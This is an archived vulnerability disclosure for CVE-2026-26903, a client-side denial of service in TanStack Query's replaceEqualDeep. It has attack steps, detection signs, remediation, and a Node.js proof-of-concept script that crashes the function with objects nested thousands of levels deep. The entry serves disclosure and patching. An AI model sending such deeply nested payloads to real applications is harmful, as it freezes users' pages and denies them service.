PoC Archive PoC Archive
Medium CVE-2026-26903 patched

TanStack Query — Unbounded Recursion Denial of Service in `replaceEqualDeep` (CVE-2026-26903)

by John-Jung (GitHub) · 2026-07-05

Severity
Medium
CVE
CVE-2026-26903
Category
web
Affected product
TanStack Query (@tanstack/query-core and framework bindings: react-query, vue-query, solid-query, svelte-query)
Affected versions
@tanstack/query-core <= 5.90.16 (fixed in 5.90.17; framework bindings fixed in 5.90.18+ / 6.1.7+ for svelte-query)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / ResearcherJohn-Jung (GitHub)
CVE / AdvisoryCVE-2026-26903
Categoryweb
SeverityMedium
CVSS ScoreNot specified in source (upstream advisory rates it Medium)
StatusPoC
Tagstanstack-query, javascript, denial-of-service, stack-overflow, recursion, react, frontend, client-side-dos
RelatedN/A

Affected Target

FieldValue
Software / SystemTanStack Query (@tanstack/query-core and framework bindings: react-query, vue-query, solid-query, svelte-query)
Versions Affected@tanstack/query-core <= 5.90.16 (fixed in 5.90.17; framework bindings fixed in 5.90.18+ / 6.1.7+ for svelte-query)
Language / PlatformJavaScript/TypeScript, runs in Node.js and browsers
Authentication RequiredNo
Network Access RequiredNo — purely client-side

Summary

TanStack Query’s internal replaceEqualDeep function recursively performs deep-equality comparisons between old and new query cache data so that unchanged object references can be preserved across re-renders. The recursive implementation has no depth limit or cycle detection, so processing a sufficiently deeply nested object (on the order of 5,000+ levels) exhausts the JavaScript call stack. Because this function runs on the main thread for any query cache update (useQuery, setQueryData, invalidateQueries, etc.), an attacker who can influence the shape of query response data can freeze the entire application UI until the page is reloaded. The included PoC provides both a Node.js script that demonstrates the stack overflow directly and an interactive HTML page showing the UI freeze in a browser.


Vulnerability Details

Root Cause

replaceEqualDeep() recurses into nested object/array properties without any maximum depth check, so an attacker-controlled deeply nested payload causes unbounded recursion and a stack overflow that blocks the JS event loop.

Attack Vector

  1. Attacker (or a compromised/malicious upstream API) crafts a JSON response whose data is nested thousands of levels deep (e.g., {nested: {nested: {...}}}).
  2. The nested payload flows into TanStack Query’s cache via a normal query update path (useQuery response, setQueryData, invalidateQueries).
  3. replaceEqualDeep is invoked to diff the old and new cache values and recurses once per nesting level.
  4. The call stack is exhausted, freezing the JS thread and making the entire page unresponsive until manually reloaded.

Impact

A single malicious or malformed API response can render a TanStack Query-based web application completely unresponsive (client-side denial of service), requiring a full page reload to recover.


Environment / Lab Setup

Target:   Any web app using @tanstack/query-core <= 5.90.16 (directly or via react-query/vue-query/solid-query/svelte-query)
Attacker: Node.js runtime (to run poc.js) or any modern browser (to open tanstack-query-poc.html)

Proof of Concept

PoC Script

See poc.js and tanstack-query-poc.html in this folder.

1
2
node poc.js
open tanstack-query-poc.html

poc.js generates deeply nested objects at increasing depths (100, 1000, 5000, 10000) and calls the vulnerable replaceEqualDeep logic directly, showing successful comparisons at shallow depths and a “Maximum call stack size exceeded” crash at 5,000+ levels. tanstack-query-poc.html provides an interactive demo with a live counter/timer/input to show a normally-responsive UI, then a button that triggers the DoS by feeding a 10,000-level-deep object into query cache diffing, freezing all UI interaction.


Detection & Indicators of Compromise

Signs of compromise:

  • Reports of the web app “freezing” or becoming totally unresponsive after a specific action
  • Abnormally deep JSON nesting present in captured network responses or request payloads
  • Browser tab needing a hard reload to recover, with no JS console errors logged

Remediation

ActionDetail
Primary fixUpgrade to @tanstack/query-core 5.90.17+ (react-query/vue-query 5.90.18+, svelte-query 6.1.7+), which adds a depth limit (>500 returns early) to replaceEqualDeep
Interim mitigationFlatten or cap the nesting depth of data returned by APIs before it reaches the query cache; implement a custom structuralSharing comparator with a depth guard

References


Notes

Mirrored from https://github.com/John-Jung/CVE-2026-26903-PoC on 2026-07-05.

poc.js
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
// Copy of TanStack's replaceEqualDeep
function isPlainObject(o) {
  return Object.prototype.toString.call(o) === '[object Object]' 
    && Object.getPrototypeOf(o) === Object.prototype;
}

function isPlainArray(value) {
  return Array.isArray(value) && value.length === Object.keys(value).length;
}

function replaceEqualDeep(a, b) {
  if (a === b) return a;
  const array = isPlainArray(a) && isPlainArray(b);
  if (!array && !(isPlainObject(a) && isPlainObject(b))) return b;
  
  const aItems = array ? a : Object.keys(a);
  const aSize = aItems.length;
  const bItems = array ? b : Object.keys(b);
  const bSize = bItems.length;
  const copy = array ? new Array(bSize) : {};
  let equalItems = 0;

  for (let i = 0; i < bSize; i++) {
    const key = array ? i : bItems[i];
    if (a[key] === b[key]) {
      copy[key] = a[key];
      equalItems++;
      continue;
    }
    if (a[key] === null || b[key] === null || 
        typeof a[key] !== 'object' || typeof b[key] !== 'object') {
      copy[key] = b[key];
      continue;
    }
    const v = replaceEqualDeep(a[key], b[key]);
    copy[key] = v;
    if (v === a[key]) equalItems++;
  }
  return aSize === bSize && equalItems === aSize ? a : copy;
}

// Generate deeply nested object
function generateDeep(depth) {
  let obj = { value: 'end' };
  for (let i = 0; i < depth; i++) {
    obj = { nested: obj };
  }
  return obj;
}

// TEST
console.log('Testing replaceEqualDeep with deep nesting...');
const depths = [100, 1000, 5000, 10000];

for (const depth of depths) {
  const oldData = generateDeep(depth);
  const newData = generateDeep(depth);  // Different object, same structure
  
  console.log(`\nDepth: ${depth}`);
  const start = Date.now();
  try {
    replaceEqualDeep(oldData, newData);
    console.log(`  OK - ${Date.now() - start}ms`);
  } catch (e) {
    console.log(`  CRASH - ${e.message}`);
  }
}